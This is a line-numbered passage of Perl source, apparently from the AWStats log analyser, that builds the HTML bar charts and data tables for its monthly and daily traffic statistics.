                                print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
 
12766
                        }
 
12767
                        else { print "<td>&nbsp;</td>"; }
 
12768
                        if ( $ShowSummary =~ /B/i ) {
 
12769
                                print "<td><b>"
 
12770
                                  . Format_Bytes( int($TotalNotViewedBytes) )
 
12771
                                  . "</b></td>";
 
12772
                        }
 
12773
                        else { print "<td>&nbsp;</td>"; }
 
12774
                }
 
12775
                else {
 
12776
                        if ( $LogType eq 'W' || $LogType eq 'S' ) {
 
12777
                                print "<td class=\"aws\">$Message[161]&nbsp;*</td>";
 
12778
                        }
 
12779
                        print "<td colspan=\"2\">&nbsp;<br />&nbsp;</td>\n";
 
12780
                        if ( $ShowSummary =~ /P/i ) {
 
12781
                                print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>";
 
12782
                        }
 
12783
                        else { print "<td>&nbsp;</td>"; }
 
12784
                        if ( $ShowSummary =~ /H/i ) {
 
12785
                                print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
 
12786
                        }
 
12787
                        else { print "<td>&nbsp;</td>"; }
 
12788
                        if ( $ShowSummary =~ /B/i ) {
 
12789
                                print "<td><b>"
 
12790
                                  . Format_Bytes( int($TotalNotViewedBytes) )
 
12791
                                  . "</b></td>";
 
12792
                        }
 
12793
                        else { print "<td>&nbsp;</td>"; }
 
12794
                }
 
12795
                print "</tr>\n";
 
12796
        }
 
12797
        &tab_end($LogType eq 'W'
 
12798
                  || $LogType eq 'S' ? "* $Message[159]" : "" );
 
12799
}
 
12800
 
 
12801
#------------------------------------------------------------------------------
 
12802
# Function:     Prints the Monthly section on the main page
 
12803
# Parameters:   _
 
12804
# Input:        _
 
12805
# Output:       HTML
 
12806
# Return:       -
 
12807
#------------------------------------------------------------------------------
 
12808
sub HTMLMainMonthly{
 
12809
        if ($Debug) { debug( "ShowMonthStats", 2 ); }
 
12810
        print "$Center<a name=\"month\">&nbsp;</a><br />\n";
 
12811
        my $title = "$Message[162]";
 
12812
        &tab_head( "$title", 0, 0, 'month' );
 
12813
        print "<tr><td align=\"center\">\n";
 
12814
        print "<center>\n";
 
12815
 
 
12816
        my $average_nb = my $average_u = my $average_v = my $average_p = 0;
 
12817
        my $average_h = my $average_k = 0;
 
12818
        my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
 
12819
        my $max_v = my $max_p = my $max_h = my $max_k = 1;
 
12820
 
 
12821
        # Define total and max
 
12822
        for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
 
12823
                my $monthix = sprintf( "%02s", $ix );
 
12824
                $total_u += $MonthUnique{ $YearRequired . $monthix } || 0;
 
12825
                $total_v += $MonthVisits{ $YearRequired . $monthix } || 0;
 
12826
                $total_p += $MonthPages{ $YearRequired . $monthix }  || 0;
 
12827
                $total_h += $MonthHits{ $YearRequired . $monthix }   || 0;
 
12828
                $total_k += $MonthBytes{ $YearRequired . $monthix }  || 0;
 
12829
 
 
12830
#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
 
12831
                if (
 
12832
                        ( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v )
 
12833
                {
 
12834
                        $max_v = $MonthVisits{ $YearRequired . $monthix };
 
12835
                }
 
12836
 
 
12837
#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p)  { $max_p=$MonthPages{$YearRequired.$monthix}; }
 
12838
                if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h )
 
12839
                {
 
12840
                        $max_h = $MonthHits{ $YearRequired . $monthix };
 
12841
                }
 
12842
                if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k )
 
12843
                {
 
12844
                        $max_k = $MonthBytes{ $YearRequired . $monthix };
 
12845
                }
 
12846
        }
 
12847
 
 
12848
        # Define average
 
12849
        # TODO
 
12850
 
 
12851
        # Show bars for month
 
12852
        my $graphdone=0;
 
12853
        foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
12854
        {
 
12855
                my @blocklabel = ();
 
12856
                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
 
12857
                        my $monthix = sprintf( "%02s", $ix );
 
12858
                        push @blocklabel,
 
12859
                          "$MonthNumLib{$monthix}\n$YearRequired";
 
12860
                }
 
12861
                my @vallabel = (
 
12862
                        "$Message[11]", "$Message[10]",
 
12863
                        "$Message[56]", "$Message[57]",
 
12864
                        "$Message[75]"
 
12865
                );
 
12866
                my @valcolor =
 
12867
                  ( "$color_u", "$color_v", "$color_p", "$color_h",
 
12868
                        "$color_k" );
 
12869
                my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k );
 
12870
                my @valtotal =
 
12871
                  ( $total_u, $total_v, $total_p, $total_h, $total_k );
 
12872
                my @valaverage = ();
 
12873
 
 
12874
                #my @valaverage=($average_v,$average_p,$average_h,$average_k);
 
12875
                my @valdata = ();
 
12876
                my $xx      = 0;
 
12877
                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
 
12878
                        my $monthix = sprintf( "%02s", $ix );
 
12879
                        $valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix }
 
12880
                          || 0;
 
12881
                        $valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix }
 
12882
                          || 0;
 
12883
                        $valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix }
 
12884
                          || 0;
 
12885
                        $valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix }
 
12886
                          || 0;
 
12887
                        $valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix }
 
12888
                          || 0;
 
12889
                }
 
12890
                
 
12891
                my $function = "ShowGraph_$pluginname";
 
12892
                &$function(
 
12893
                        "$title",        "month",
 
12894
                        $ShowMonthStats, \@blocklabel,
 
12895
                        \@vallabel,      \@valcolor,
 
12896
                        \@valmax,        \@valtotal,
 
12897
                        \@valaverage,    \@valdata
 
12898
                );
 
12899
                $graphdone=1;
 
12900
        }
 
12901
        if (! $graphdone)
 
12902
        {
 
12903
                print "<table>\n";
 
12904
                print "<tr valign=\"bottom\">";
 
12905
                print "<td>&nbsp;</td>\n";
 
12906
                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
 
12907
                        my $monthix  = sprintf( "%02s", $ix );
 
12908
                        my $bredde_u = 0;
 
12909
                        my $bredde_v = 0;
 
12910
                        my $bredde_p = 0;
 
12911
                        my $bredde_h = 0;
 
12912
                        my $bredde_k = 0;
 
12913
                        if ( $max_v > 0 ) {
 
12914
                                $bredde_u =
 
12915
                                  int(
 
12916
                                        ( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
 
12917
                                          $max_v * $BarHeight ) + 1;
 
12918
                        }
 
12919
                        if ( $max_v > 0 ) {
 
12920
                                $bredde_v =
 
12921
                                  int(
 
12922
                                        ( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
 
12923
                                          $max_v * $BarHeight ) + 1;
 
12924
                        }
 
12925
                        if ( $max_h > 0 ) {
 
12926
                                $bredde_p =
 
12927
                                  int(
 
12928
                                        ( $MonthPages{ $YearRequired . $monthix } || 0 ) /
 
12929
                                          $max_h * $BarHeight ) + 1;
 
12930
                        }
 
12931
                        if ( $max_h > 0 ) {
 
12932
                                $bredde_h =
 
12933
                                  int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
 
12934
                                          $max_h * $BarHeight ) + 1;
 
12935
                        }
 
12936
                        if ( $max_k > 0 ) {
 
12937
                                $bredde_k =
 
12938
                                  int(
 
12939
                                        ( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
 
12940
                                          $max_k * $BarHeight ) + 1;
 
12941
                        }
 
12942
                        print "<td>";
 
12943
                        if ( $ShowMonthStats =~ /U/i ) {
 
12944
                                print
 
12945
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
 
12946
                                  . AltTitle( "$Message[11]: "
 
12947
                                          . ( $MonthUnique{ $YearRequired . $monthix }
 
12948
                                                  || 0 ) )
 
12949
                                  . " />";
 
12950
                        }
 
12951
                        if ( $ShowMonthStats =~ /V/i ) {
 
12952
                                print
 
12953
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
 
12954
                                  . AltTitle( "$Message[10]: "
 
12955
                                          . ( $MonthVisits{ $YearRequired . $monthix }
 
12956
                                                  || 0 ) )
 
12957
                                  . " />";
 
12958
                        }
 
12959
                        if ( $ShowMonthStats =~ /P/i ) {
 
12960
                                print
 
12961
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
 
12962
                                  . AltTitle( "$Message[56]: "
 
12963
                                          . ( $MonthPages{ $YearRequired . $monthix } || 0 )
 
12964
                                  )
 
12965
                                  . " />";
 
12966
                        }
 
12967
                        if ( $ShowMonthStats =~ /H/i ) {
 
12968
                                print
 
12969
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
 
12970
                                  . AltTitle( "$Message[57]: "
 
12971
                                          . ( $MonthHits{ $YearRequired . $monthix } || 0 )
 
12972
                                  )
 
12973
                                  . " />";
 
12974
                        }
 
12975
                        if ( $ShowMonthStats =~ /B/i ) {
 
12976
                                print
 
12977
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
 
12978
                                          . AltTitle(
 
12979
                                        "$Message[75]: "
 
12980
                                          . Format_Bytes(
 
12981
                                                $MonthBytes{ $YearRequired . $monthix }
 
12982
                                          )
 
12983
                                  )
 
12984
                                  . " />";
 
12985
                        }
 
12986
                        print "</td>\n";
 
12987
                }
 
12988
                print "<td>&nbsp;</td>";
 
12989
                print "</tr>\n";
 
12990
 
 
12991
                # Show lib for month
 
12992
                print "<tr valign=\"middle\">";
 
12993
 
 
12994
                #if (!$StaticLinks) {
 
12995
                #       print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\">&lt;&lt;</a></td>";
 
12996
                #}
 
12997
                #else {
 
12998
                print "<td>&nbsp;</td>";
 
12999
 
 
13000
                #                               }
 
13001
                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
 
13002
                        my $monthix = sprintf( "%02s", $ix );
 
13003
 
 
13004
#                       if (!$StaticLinks) {
 
13005
#                               print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
 
13006
#                       }
 
13007
#                       else {
 
13008
                        print "<td>"
 
13009
                          . (
 
13010
                                !$StaticLinks
 
13011
                                  && $monthix == $nowmonth
 
13012
                                  && $YearRequired == $nowyear
 
13013
                                ? '<font class="currentday">'
 
13014
                                : ''
 
13015
                          );
 
13016
                        print "$MonthNumLib{$monthix}<br />$YearRequired";
 
13017
                        print(   !$StaticLinks
 
13018
                                  && $monthix == $nowmonth
 
13019
                                  && $YearRequired == $nowyear ? '</font>' : '' );
 
13020
                        print "</td>";
 
13021
 
 
13022
                        #                                       }
 
13023
                }
 
13024
 
 
13025
#               if (!$StaticLinks) {
 
13026
#                       print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">&gt;&gt;</a></td>";
 
13027
#               }
 
13028
#               else {
 
13029
                print "<td>&nbsp;</td>";
 
13030
 
 
13031
                #                               }
 
13032
                print "</tr>\n";
 
13033
                print "</table>\n";
 
13034
        }
 
13035
        print "<br />\n";
 
13036
 
 
13037
        # Show data array for month
 
13038
        if ($AddDataArrayMonthStats) {
 
13039
                print "<table>\n";
 
13040
                print
 
13041
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
 
13042
                if ( $ShowMonthStats =~ /U/i ) {
 
13043
                        print "<td width=\"80\" bgcolor=\"#$color_u\""
 
13044
                          . Tooltip(2)
 
13045
                          . ">$Message[11]</td>";
 
13046
                }
 
13047
                if ( $ShowMonthStats =~ /V/i ) {
 
13048
                        print "<td width=\"80\" bgcolor=\"#$color_v\""
 
13049
                          . Tooltip(1)
 
13050
                          . ">$Message[10]</td>";
 
13051
                }
 
13052
                if ( $ShowMonthStats =~ /P/i ) {
 
13053
                        print "<td width=\"80\" bgcolor=\"#$color_p\""
 
13054
                          . Tooltip(3)
 
13055
                          . ">$Message[56]</td>";
 
13056
                }
 
13057
                if ( $ShowMonthStats =~ /H/i ) {
 
13058
                        print "<td width=\"80\" bgcolor=\"#$color_h\""
 
13059
                          . Tooltip(4)
 
13060
                          . ">$Message[57]</td>";
 
13061
                }
 
13062
                if ( $ShowMonthStats =~ /B/i ) {
 
13063
                        print "<td width=\"80\" bgcolor=\"#$color_k\""
 
13064
                          . Tooltip(5)
 
13065
                          . ">$Message[75]</td>";
 
13066
                }
 
13067
                print "</tr>\n";
 
13068
                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
 
13069
                        my $monthix = sprintf( "%02s", $ix );
 
13070
                        print "<tr>";
 
13071
                        print "<td>"
 
13072
                          . (
 
13073
                                !$StaticLinks
 
13074
                                  && $monthix == $nowmonth
 
13075
                                  && $YearRequired == $nowyear
 
13076
                                ? '<font class="currentday">'
 
13077
                                : ''
 
13078
                          );
 
13079
                        print "$MonthNumLib{$monthix} $YearRequired";
 
13080
                        print(   !$StaticLinks
 
13081
                                  && $monthix == $nowmonth
 
13082
                                  && $YearRequired == $nowyear ? '</font>' : '' );
 
13083
                        print "</td>";
 
13084
                        if ( $ShowMonthStats =~ /U/i ) {
 
13085
                                print "<td>",
 
13086
                                  Format_Number($MonthUnique{ $YearRequired . $monthix }
 
13087
                                  ? $MonthUnique{ $YearRequired . $monthix }
 
13088
                                  : "0"), "</td>";
 
13089
                        }
 
13090
                        if ( $ShowMonthStats =~ /V/i ) {
 
13091
                                print "<td>",
 
13092
                                  Format_Number($MonthVisits{ $YearRequired . $monthix }
 
13093
                                  ? $MonthVisits{ $YearRequired . $monthix }
 
13094
                                  : "0"), "</td>";
 
13095
                        }
 
13096
                        if ( $ShowMonthStats =~ /P/i ) {
 
13097
                                print "<td>",
 
13098
                                  Format_Number($MonthPages{ $YearRequired . $monthix }
 
13099
                                  ? $MonthPages{ $YearRequired . $monthix }
 
13100
                                  : "0"), "</td>";
 
13101
                        }
 
13102
                        if ( $ShowMonthStats =~ /H/i ) {
 
13103
                                print "<td>",
 
13104
                                  Format_Number($MonthHits{ $YearRequired . $monthix }
 
13105
                                  ? $MonthHits{ $YearRequired . $monthix }
 
13106
                                  : "0"), "</td>";
 
13107
                        }
 
13108
                        if ( $ShowMonthStats =~ /B/i ) {
 
13109
                                print "<td>",
 
13110
                                  Format_Bytes(
 
13111
                                        int( $MonthBytes{ $YearRequired . $monthix } || 0 )
 
13112
                                  ), "</td>";
 
13113
                        }
 
13114
                        print "</tr>\n";
 
13115
                }
 
13116
 
 
13117
                # Average row
 
13118
                # TODO
 
13119
                # Total row
 
13120
                print
 
13121
"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
 
13122
                if ( $ShowMonthStats =~ /U/i ) {
 
13123
                        print
 
13124
                          "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>";
 
13125
                }
 
13126
                if ( $ShowMonthStats =~ /V/i ) {
 
13127
                        print
 
13128
                          "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>";
 
13129
                }
 
13130
                if ( $ShowMonthStats =~ /P/i ) {
 
13131
                        print
 
13132
                          "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>";
 
13133
                }
 
13134
                if ( $ShowMonthStats =~ /H/i ) {
 
13135
                        print
 
13136
                          "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>";
 
13137
                }
 
13138
                if ( $ShowMonthStats =~ /B/i ) {
 
13139
                        print "<td bgcolor=\"#$color_TableBGRowTitle\">"
 
13140
                          . Format_Bytes($total_k) . "</td>";
 
13141
                }
 
13142
                print "</tr>\n";
 
13143
                print "</table>\n<br />\n";
 
13144
        }
 
13145
 
 
13146
        print "</center>\n";
 
13147
        print "</td></tr>\n";
 
13148
        &tab_end();
 
13149
}
 
13150
 
 
13151
#------------------------------------------------------------------------------
 
13152
# Function:     Prints the Daily section on the main page
 
13153
# Parameters:   $firstdaytocountaverage, $lastdaytocountaverage
 
13154
#                               $firstdaytoshowtime, $lastdaytoshowtime
 
13155
# Input:        _
 
13156
# Output:       HTML
 
13157
# Return:       -
 
13158
#------------------------------------------------------------------------------
 
13159
sub HTMLMainDaily{
 
13160
        my $firstdaytocountaverage = shift;
 
13161
        my $lastdaytocountaverage = shift;
 
13162
        my $firstdaytoshowtime = shift;
 
13163
        my $lastdaytoshowtime = shift;
 
13164
        
 
13165
        if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); }
 
13166
        print "$Center<a name=\"daysofmonth\">&nbsp;</a><br />\n";
 
13167
        my $title = "$Message[138]";
 
13168
        &tab_head( "$title", 0, 0, 'daysofmonth' );
 
13169
        print "<tr>";
 
13170
        print "<td align=\"center\">\n";
 
13171
        print "<center>\n";
 
13172
 
 
13173
        my $NewLinkParams = ${QueryString};
 
13174
        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
13175
        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
13176
        $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
 
13177
        $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
 
13178
        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
13179
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
13180
        $NewLinkParams =~ s/^&amp;//;
 
13181
        $NewLinkParams =~ s/&amp;$//;
 
13182
        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
 
13183
        my $NewLinkTarget = '';
 
13184
 
 
13185
        if ( $FrameName eq 'mainright' ) {
 
13186
                $NewLinkTarget = " target=\"_parent\"";
 
13187
        }
 
13188
 
 
13189
        my $average_v = my $average_p = 0;
 
13190
        my $average_h = my $average_k = 0;
 
13191
        my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
 
13192
        my $max_v = my $max_h = my $max_k = 0;    # Start from 0 because can be lower than 1
 
13193
        foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
 
13194
        {
 
13195
                $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13196
                my $year  = $1;
 
13197
                my $month = $2;
 
13198
                my $day   = $3;
 
13199
                if ( !DateIsValid( $day, $month, $year ) ) {
 
13200
                        next;
 
13201
                }    # If not an existing day, go to next
 
13202
                $total_v += $DayVisits{ $year . $month . $day } || 0;
 
13203
                $total_p += $DayPages{ $year . $month . $day }  || 0;
 
13204
                $total_h += $DayHits{ $year . $month . $day }   || 0;
 
13205
                $total_k += $DayBytes{ $year . $month . $day }  || 0;
 
13206
                if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) {
 
13207
                        $max_v = $DayVisits{ $year . $month . $day };
 
13208
                }
 
13209
 
 
13210
#if (($DayPages{$year.$month.$day}||0) > $max_p)  { $max_p=$DayPages{$year.$month.$day}; }
 
13211
                if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) {
 
13212
                        $max_h = $DayHits{ $year . $month . $day };
 
13213
                }
 
13214
                if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) {
 
13215
                        $max_k = $DayBytes{ $year . $month . $day };
 
13216
                }
 
13217
        }
 
13218
    $average_v = sprintf( "%.2f", $AverageVisits );
 
13219
    $average_p = sprintf( "%.2f", $AveragePages );
 
13220
    $average_h = sprintf( "%.2f", $AverageHits );
 
13221
    $average_k = sprintf( "%.2f", $AverageBytes );
 
13222
 
 
13223
        # Show bars for day
 
13224
        my $graphdone=0;
 
13225
        foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
13226
        {
 
13227
                my @blocklabel = ();
 
13228
                foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
 
13229
                {
 
13230
                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13231
                        my $year  = $1;
 
13232
                        my $month = $2;
 
13233
                        my $day   = $3;
 
13234
                        if ( !DateIsValid( $day, $month, $year ) ) {
 
13235
                                next;
 
13236
                        }    # If not an existing day, go to next
 
13237
                        my $bold =
 
13238
                          (      $day == $nowday
 
13239
                                  && $month == $nowmonth
 
13240
                                  && $year == $nowyear ? ':' : '' );
 
13241
                        my $weekend =
 
13242
                          ( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
 
13243
                        push @blocklabel,
 
13244
                          "$day\n$MonthNumLib{$month}$weekend$bold";
 
13245
                }
 
13246
                my @vallabel = (
 
13247
                        "$Message[10]", "$Message[56]",
 
13248
                        "$Message[57]", "$Message[75]"
 
13249
                );
 
13250
                my @valcolor =
 
13251
                  ( "$color_v", "$color_p", "$color_h", "$color_k" );
 
13252
                my @valmax   = ( $max_v,   $max_h,   $max_h,   $max_k );
 
13253
                my @valtotal = ( $total_v, $total_p, $total_h, $total_k );
 
13254
                my @valaverage =
 
13255
                  ( $average_v, $average_p, $average_h, $average_k );
 
13256
                my @valdata = ();
 
13257
                my $xx      = 0;
 
13258
 
 
13259
                foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
 
13260
                {
 
13261
                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13262
                        my $year  = $1;
 
13263
                        my $month = $2;
 
13264
                        my $day   = $3;
 
13265
                        if ( !DateIsValid( $day, $month, $year ) ) {
 
13266
                                next;
 
13267
                        }    # If not an existing day, go to next
 
13268
                        $valdata[ $xx++ ] = $DayVisits{ $year . $month . $day }
 
13269
                          || 0;
 
13270
                        $valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0;
 
13271
                        $valdata[ $xx++ ] = $DayHits{ $year . $month . $day }  || 0;
 
13272
                        $valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
 
13273
                }
 
13274
                my $function = "ShowGraph_$pluginname";
 
13275
                &$function(
 
13276
                        "$title",              "daysofmonth",
 
13277
                        $ShowDaysOfMonthStats, \@blocklabel,
 
13278
                        \@vallabel,            \@valcolor,
 
13279
                        \@valmax,              \@valtotal,
 
13280
                        \@valaverage,          \@valdata
 
13281
                );
 
13282
                $graphdone=1;
 
13283
        }
 
13284
        # If graph was not printed by a plugin
 
13285
        if (! $graphdone) {
 
13286
                print "<table>\n";
 
13287
                print "<tr valign=\"bottom\">\n";
 
13288
                foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
 
13289
                {
 
13290
                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13291
                        my $year  = $1;
 
13292
                        my $month = $2;
 
13293
                        my $day   = $3;
 
13294
                        if ( !DateIsValid( $day, $month, $year ) ) {
 
13295
                                next;
 
13296
                        }    # If not an existing day, go to next
 
13297
                        my $bredde_v = 0;
 
13298
                        my $bredde_p = 0;
 
13299
                        my $bredde_h = 0;
 
13300
                        my $bredde_k = 0;
 
13301
                        if ( $max_v > 0 ) {
 
13302
                                $bredde_v =
 
13303
                                  int( ( $DayVisits{ $year . $month . $day } || 0 ) /
 
13304
                                          $max_v * $BarHeight ) + 1;
 
13305
                        }
 
13306
                        if ( $max_h > 0 ) {
 
13307
                                $bredde_p =
 
13308
                                  int( ( $DayPages{ $year . $month . $day } || 0 ) /
 
13309
                                          $max_h * $BarHeight ) + 1;
 
13310
                        }
 
13311
                        if ( $max_h > 0 ) {
 
13312
                                $bredde_h =
 
13313
                                  int( ( $DayHits{ $year . $month . $day } || 0 ) /
 
13314
                                          $max_h * $BarHeight ) + 1;
 
13315
                        }
 
13316
                        if ( $max_k > 0 ) {
 
13317
                                $bredde_k =
 
13318
                                  int( ( $DayBytes{ $year . $month . $day } || 0 ) /
 
13319
                                          $max_k * $BarHeight ) + 1;
 
13320
                        }
 
13321
                        print "<td>";
 
13322
                        if ( $ShowDaysOfMonthStats =~ /V/i ) {
 
13323
                                print
 
13324
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
 
13325
                                  . AltTitle( "$Message[10]: "
 
13326
                                          . int( $DayVisits{ $year . $month . $day } || 0 )
 
13327
                                  )
 
13328
                                  . " />";
 
13329
                        }
 
13330
                        if ( $ShowDaysOfMonthStats =~ /P/i ) {
 
13331
                                print
 
13332
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
 
13333
                                  . AltTitle( "$Message[56]: "
 
13334
                                          . int( $DayPages{ $year . $month . $day } || 0 ) )
 
13335
                                  . " />";
 
13336
                        }
 
13337
                        if ( $ShowDaysOfMonthStats =~ /H/i ) {
 
13338
                                print
 
13339
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
 
13340
                                  . AltTitle( "$Message[57]: "
 
13341
                                          . int( $DayHits{ $year . $month . $day } || 0 ) )
 
13342
                                  . " />";
 
13343
                        }
 
13344
                        if ( $ShowDaysOfMonthStats =~ /B/i ) {
 
13345
                                print
 
13346
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
 
13347
                                  . AltTitle(
 
13348
                                        "$Message[75]: "
 
13349
                                          . Format_Bytes(
 
13350
                                                $DayBytes{ $year . $month . $day }
 
13351
                                          )
 
13352
                                  )
 
13353
                                  . " />";
 
13354
                        }
 
13355
                        print "</td>\n";
 
13356
                }
 
13357
                print "<td>&nbsp;</td>";
 
13358
 
 
13359
                # Show average value bars
 
13360
                print "<td>";
 
13361
                my $bredde_v = 0;
 
13362
                my $bredde_p = 0;
 
13363
                my $bredde_h = 0;
 
13364
                my $bredde_k = 0;
 
13365
                if ( $max_v > 0 ) {
 
13366
                        $bredde_v = int( $average_v / $max_v * $BarHeight ) + 1;
 
13367
                }
 
13368
                if ( $max_h > 0 ) {
 
13369
                        $bredde_p = int( $average_p / $max_h * $BarHeight ) + 1;
 
13370
                }
 
13371
                if ( $max_h > 0 ) {
 
13372
                        $bredde_h = int( $average_h / $max_h * $BarHeight ) + 1;
 
13373
                }
 
13374
                if ( $max_k > 0 ) {
 
13375
                        $bredde_k = int( $average_k / $max_k * $BarHeight ) + 1;
 
13376
                }
 
13377
                $average_v = sprintf( "%.2f", $average_v );
 
13378
                $average_p = sprintf( "%.2f", $average_p );
 
13379
                $average_h = sprintf( "%.2f", $average_h );
 
13380
                $average_k = sprintf( "%.2f", $average_k );
 
13381
                if ( $ShowDaysOfMonthStats =~ /V/i ) {
 
13382
                        print
 
13383
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
 
13384
                          . AltTitle("$Message[10]: $average_v") . " />";
 
13385
                }
 
13386
                if ( $ShowDaysOfMonthStats =~ /P/i ) {
 
13387
                        print
 
13388
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
 
13389
                          . AltTitle("$Message[56]: $average_p") . " />";
 
13390
                }
 
13391
                if ( $ShowDaysOfMonthStats =~ /H/i ) {
 
13392
                        print
 
13393
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
 
13394
                          . AltTitle("$Message[57]: $average_h") . " />";
 
13395
                }
 
13396
                if ( $ShowDaysOfMonthStats =~ /B/i ) {
 
13397
                        print
 
13398
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
 
13399
                          . AltTitle("$Message[75]: $average_k") . " />";
 
13400
                }
 
13401
                print "</td>\n";
 
13402
                print "</tr>\n";
 
13403
 
 
13404
                # Show lib for day
 
13405
                print "<tr valign=\"middle\">";
 
13406
                foreach
 
13407
                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
 
13408
                {
 
13409
                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
13410
                        my $year  = $1;
 
13411
                        my $month = $2;
 
13412
                        my $day   = $3;
 
13413
                        if ( !DateIsValid( $day, $month, $year ) ) {
 
13414
                                next;
 
13415
                        }    # If not an existing day, go to next
 
13416
                        my $dayofweekcursor = DayOfWeek( $day, $month, $year );
 
13417
                        print "<td"
 
13418
                          . (
 
13419
                                $dayofweekcursor =~ /[06]/
 
13420
                                ? " bgcolor=\"#$color_weekend\""
 
13421
                                : ""
 
13422
                          )
 
13423
                          . ">";
 
13424
                        print(
 
13425
                                !$StaticLinks
 
13426
                                  && $day == $nowday
 
13427
                                  && $month == $nowmonth
 
13428
                                  && $year == $nowyear
 
13429
                                ? '<font class="currentday">'
 
13430
                                : ''
 
13431
                        );
 
13432
                        print "$day<br /><span style=\"font-size: "
 
13433
                          . (    $FrameName ne 'mainright'
 
13434
                                  && $QueryString !~ /buildpdf/i ? "9" : "8" )
 
13435
                          . "px;\">"
 
13436
                          . $MonthNumLib{$month}
 
13437
                          . "</span>";
 
13438
                        print(   !$StaticLinks
 
13439
                                  && $day == $nowday
 
13440
                                  && $month == $nowmonth
 
13441
                                  && $year == $nowyear ? '</font>' : '' );
 
13442
                        print "</td>\n";
 
13443
                }
 
13444
